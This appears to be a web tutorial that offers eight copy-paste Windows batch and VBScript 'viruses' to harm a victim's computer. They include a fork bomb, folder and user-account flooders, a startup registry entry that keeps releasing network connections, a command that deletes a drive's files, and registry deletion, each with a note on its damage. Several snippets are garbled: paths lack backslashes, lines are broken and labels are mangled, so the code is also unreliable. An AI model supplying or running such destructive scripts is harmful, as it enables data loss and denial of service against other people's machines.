Create Dangerous Virus with Notepad

Now, here are some small yet extremely dangerous Batch File viruses. You need to just press Ctrl+C (Copy) and Ctrl+V (Paste) code in Notepad. After that save the notepad file as "anyname.bat". Be sure to use '.bat' as extension otherwise it will not work.


1. Application Bomber:-

@echo off
:x
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x

Function- Once executed, it will start to open different applications repeatedly which will affect system's performance. You can also add application of your choice in above code.


2. Folder Flooder-

@echo off
:x
md %random%
/folder.
goto x

Function- Once executed, it will start to generate folders whose name can be any random number.


3. User Account Flooder:-

@echo off
:xnet
user %random% /add
goto x

Function- Once executed it will start creating Windows User Accounts whose name can be any random number.


4. Process Creator:-

%0|%0

Function:- Once executed, it will start to generate a large number of processes very quickly resulting in hanging of P.C.


5. Internet Disabler:-

echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!
PAUSE

Function- Once executed, it will disable the internet connection of a computer permanently.


6. O.S. Hacker:-

@Echo off
Del C:\ *.* |y

Function:- Once executed it will format C disk drive and hence resulting in deleting the O.S. You can also replace C with any drive of your choice.


7. Registry Deleter:-

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been hacked by cool hacker. Have a nice day. Enjoy!!!
GOTO MESSAGE

Function:- Once executed it will delete registry files and leave a message. It can extremely affect the victim's computer.


8. Crazy Caps Lock:-

Set wshShell
=wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Function:- Once executed it will turn Caps Lock continuously on and off annoying the user.

Enjoy friends :)